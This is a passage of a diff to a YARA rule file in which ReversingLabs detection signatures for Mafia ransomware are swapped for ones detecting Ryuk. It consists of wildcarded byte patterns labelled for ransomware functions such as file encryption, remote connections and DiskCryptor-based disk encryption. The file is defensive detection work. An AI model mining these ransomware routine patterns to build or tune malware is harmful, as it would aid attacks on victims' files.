+            0F 84 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8D 4D ?? 51 6A ?? 52 68 ?? ?? ?? ?? 50 FF 15 ??
+            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 50 8D 4D ?? 51 53 53 6A ?? 53 8B
+            1D ?? ?? ?? ?? 52 89 45 ?? FF D3 85 C0 74 ?? 8B 45 ?? 8B 3D ?? ?? ?? ?? 50 6A ?? FF
+            D7 50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8B 4D ?? 8B 55 ?? 8B 02 51 50 56 E8 ?? ??
+            ?? ?? 8B 4D ?? 8B 45 ?? 83 C4 ?? 51 8D 55 ?? 52 56 6A ?? 6A ?? 6A ?? 50 FF D3 85 C0
+            74 ?? 8B 5D ?? 8B 0B 51 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 89 10 89
+            33 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 7D ?? 33 DB 8B 55 ?? 52 FF
+            15 ?? ?? ?? ?? 8B 45 ?? 53 50 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C2
         }
-		$reboot = {
-            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 8D 45 ?? 50 6A ?? FF 15 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 EB ?? 8D 45 ?? 33 F6 50 68 ?? ?? ?? ?? 56
-            FF 15 ?? ?? ?? ?? 56 56 56 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 FF 75 ?? C7 45 ?? ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 15
-            ?? ?? ?? ?? F7 D8 1B C0 F7 D8 8B 4D ?? 33 CD 5E E8 ?? ?? ?? ?? 8B E5 5D C3
+		$encrypt_files_p2 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 33 F6 56 68 ?? ?? ?? ??
+            6A ?? 56 6A ?? 68 ?? ?? ?? ?? 53 89 85 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 8B F0
+            56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
+            ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 56 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 50 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 E8
+            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ??
+            ?? ?? ?? 83 C4 ?? 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 8D B5 ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B
+            00 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 39 B5 ?? ?? ?? ??
+            72 ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 95 ?? ??
+            ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 8B 95 ?? ?? ?? ?? 6A ?? 8D
+            8D ?? ?? ?? ?? 51 8B 8D ?? ?? ?? ?? 52 51 50 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ??
+            53 FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ??
+            ?? ?? 8B E5 5D C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and ((($deploy_components) and ($get_shares_info) and ($encrypt_discs)) or (($extract_diskcryptor_from_resources) and ($create_diskcryptor_service) and ( all of ($encrypt_files_using_diskcryptor_p*)) and ($reboot)))
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Mafia : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Ryuk : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Mafia ransomware."
+		description = "Yara rule that detects Ryuk ransomware."
 		author = "ReversingLabs"
-		id = "67f09000-751f-539a-b222-25b1502c2728"
+		id = "179c9277-0bdc-522a-a822-cf93febff408"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Mafia.yara#L1-L142"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "5c17b799f0b4f1f8f72a2e4203a6606f7783ceec2034694f8a21ff65e5afdb26"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Ryuk.yara#L1-L199"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "bf93892b281be20917656e242cbb0f3b3694439556b7e5e40a424ba1aa909105"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -34460,131 +36039,186 @@ rule REVERSINGLABS_Win32_Ransomware_Mafia : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Mafia"
+		tc_detection_name = "Ryuk"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ??
-            ?? ?? 53 56 57 68 ?? ?? ?? ?? 8D 44 24 ?? 8B F1 6A ?? 50 89 74 24 ?? C7 44 24 ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 33 C9 68 ?? ?? ?? ?? 51 8D 94 24 ?? ?? ?? ?? 52 66 89 8C 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 66 89 84
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ??
-            ?? 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B D8 83 FB ??
-            0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ??
-            ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 68 ?? ?? ?? ?? 8D
-            8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 51 FF D6 B8 ?? ??
-            ?? ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 56 81 EC ?? ??
-            ?? ?? B9 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 8B FC F3 A5 E8 ?? ?? ?? ?? 81 C4 ?? ?? ??
-            ?? 8D 54 24 ?? 52 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 44 24 ?? 50 81 EC ?? ?? ?? ??
-            B9 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 8B FC F3 A5 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 8D
-            4C 24 ?? 51 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 53 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ??
-            ?? 5F 5E 5B 33 CC 33 C0 E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$remote_connection_p1 = {
-            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 33 C0 57
-            68 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 66 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85
-            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 75 ??
-            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
-            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 33 C0 68 ??
-            ?? ?? ?? 50 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 E8 ??
-            ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 33 C0 89 85
-        }
-		$remote_connection_p2 = {
-            89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ??
-            ?? 66 89 95 ?? ?? ?? ?? 8B 48 ?? 8B 11 8B 02 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D
-            95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF
-            15 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
-            83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8B FF 8A 08 40 84 C9 75 ?? 6A
-            ?? 2B C2 50 8D 8D ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 95 ??
-            ?? ?? ?? 52 56 FF D3 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85
-            C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D7 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 50
-            8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF
-            D7 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D
-            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 FF D7
-            68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 53 8D 85 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 FF D7 68 ?? ?? ?? ?? 8D 95
-            ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 40 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? EB
-            ?? 68 ?? ?? ?? ?? FF D7 56 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ??
-            8B E5 5D C3 68
-        }
 		$encrypt_files_p1 = {
-            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ??
-            ?? ?? 53 56 8B 75 ?? 57 68 ?? ?? ?? ?? 33 DB 8D 8C 24 ?? ?? ?? ?? 33 C0 53 51 66 89
-            84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 54 24 ?? 53 52 89 5C 24
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 44 24 ?? 53 50 89 5C 24 ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 33 C0 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 89 5C 24 ?? 89 44 24 ?? 89 44 24
-            ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
-            68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 53 52 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 53 50 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 53 52 66 89 8C 24 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 4D ?? 8B C1 83 C4 ?? 48 74 ?? 48 74 ?? 8B 45 ?? 8B 55 ?? 50 52 51 56 FF
-            15 ?? ?? ?? ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2
+            55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ??
+            6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 55 ?? 52
+            FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ??
+            ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ??
+            ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 D2 89 55 ?? 0F 57 C0 66 0F 13
+            45 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8D 55 ?? 52 8B 45
+            ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ??
+            ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 83 7D ?? ?? 77 ?? 81 7D
+            ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ??
+            6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ??
+            89 55 ?? 83 7D ?? ?? 72 ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 6A ?? 6A ?? 8B 4D ?? 51
+            8B 55 ?? 52 E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52
+            50 E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 83 7D ?? ?? 77 ?? 72 ?? 81 7D ?? ?? ?? ?? ?? 77
+            ?? 83 7D ?? ?? 77 ?? 72 ?? 83 7D ?? ?? 73 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 83 7D ?? ?? 77 ?? 72
+            ?? 81 7D ?? ?? ?? ?? ?? 73 ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 6A
+            ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? 89
+            55 ?? EB ?? 83 7D ?? ?? 77 ?? 72 ?? 81 7D ?? ?? ?? ?? ?? 73 ?? 6A ?? 6A ?? 8B 55 ??
+            52 8B 45 ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
+            52 50 E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 83 7D ?? ?? 77 ?? 72 ?? 81 7D
         }
 		$encrypt_files_p2 = {
-            53 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC 33 C0 E8 ?? ?? ?? ?? 8B E5
-            5D C2 ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 33 F6 E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 ?? 48 0D ?? ?? ?? ?? 40
-            88 86 ?? ?? ?? ?? 46 83 FE ?? 7C ?? 33 F6 E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 ?? 48 0D
-            ?? ?? ?? ?? 40 88 86 ?? ?? ?? ?? 46 83 FE ?? 7C ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 49 ?? 0F B6 83 ?? ?? ?? ?? 6A
-            ?? 8D 94 24 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 51 8D 94
-            24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 C4 ?? 8B C8
-            8A 10 40 84 D2 75 ?? 8D BC 24 ?? ?? ?? ?? 2B C1 8B F1 4F 8A 4F ?? 47 84 C9 75 ?? 8B
-            C8 C1 E9 ?? F3 A5 8B C8 83 E1 ?? 8D 84 24 ?? ?? ?? ?? F3 A4 8B C8 8A 10 40 84 D2 75
-            ?? BF ?? ?? ?? ?? 2B C1 8B F1 4F 8A 4F ?? 47 84 C9 75 ?? 8B C8 C1 E9 ?? F3 A5 8B C8
+            77 ?? 83 7D ?? ?? 77 ?? 72 ?? 83 7D ?? ?? 77 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? 8B 4D ?? 89 8D ?? ?? ?? ?? 8B 55 ?? 89 95 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 72 ??
+            83 7D ?? ?? 73 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D
+            ?? ?? 0F 84 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 77 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F
+            86 ?? ?? ?? ?? 8B 4D ?? 81 E9 ?? ?? ?? ?? 89 4D ?? 6A ?? 6A ?? 8B 55 ?? 52 8B 45 ??
+            50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? B8 ??
+            ?? ?? ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            6A ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ??
+            89 45 ?? 83 7D ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ??
+            8B 55 ?? 83 C2 ?? 89 55 ?? 83 7D ?? ?? 0F 83 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ??
+            ?? 8B 45 ?? 0F BE 8C 05 ?? ?? ?? ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 0F BE 84 15
+            ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 4D ?? 0F BE 94 0D ?? ?? ?? ?? 83 FA ?? 0F
+            85 ?? ?? ?? ?? 8B 45 ?? 0F BE 8C 05 ?? ?? ?? ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8B 55 ??
+            0F BE 84 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 4D ?? 0F BE 94 0D ?? ?? ?? ??
+            83 FA ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 8D ??
+            ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 66 A1 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ??
+            ?? ?? ?? ?? 75 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ??
+            8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B 55 ?? 52 8B 45 ??
+            50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9
         }
 		$encrypt_files_p3 = {
-            68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 E1 ?? 6A ?? 50 F3 A4 E8 ?? ?? ?? ?? 83 C4 ??
-            68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? 43 83 C4 ?? 83 FB ?? 0F
-            8C ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ??
-            ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 DB EB ?? 8D A4 24 ?? ?? ?? ?? EB ?? 8D 49 ??
-            0F B6 83 ?? ?? ?? ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C
-            24 ?? ?? ?? ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ??
-            ?? ?? ?? 83 C4 ?? 8B C8 8A 10 40 84 D2 75 ?? 8D BC 24 ?? ?? ?? ?? 2B C1 8B F1 4F 8A
-            4F ?? 47 84 C9 75 ?? 8B C8 C1 E9 ?? F3 A5 8B C8 83 E1 ?? 8D 84 24 ?? ?? ?? ?? F3 A4
-            8B C8 8A 10 40 84 D2 75 ?? BF ?? ?? ?? ?? 2B C1 8B F1 4F 8A 4F ?? 47 84 C9 75 ?? 8B
+            6A ?? 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ??
+            ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50
+            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ??
+            ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D
+            ?? ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 6A ?? 6A ?? 6A
+            ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 50 8B 45 ?? 50 FF 15 ?? ??
+            ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B
+            55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ??
+            8D 45 ?? 50 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ??
+            ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ??
+            ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ??
+            51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 6A ??
+            68 ?? ?? ?? ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 68
         }
 		$encrypt_files_p4 = {
-            C8 C1 E9 ?? F3 A5 8B C8 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 E1 ?? 6A ?? 50 F3 A4
-            E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ??
-            43 83 C4 ?? 83 FB ?? 0F 8C ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? BF ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 57 68 ?? ?? ?? ??
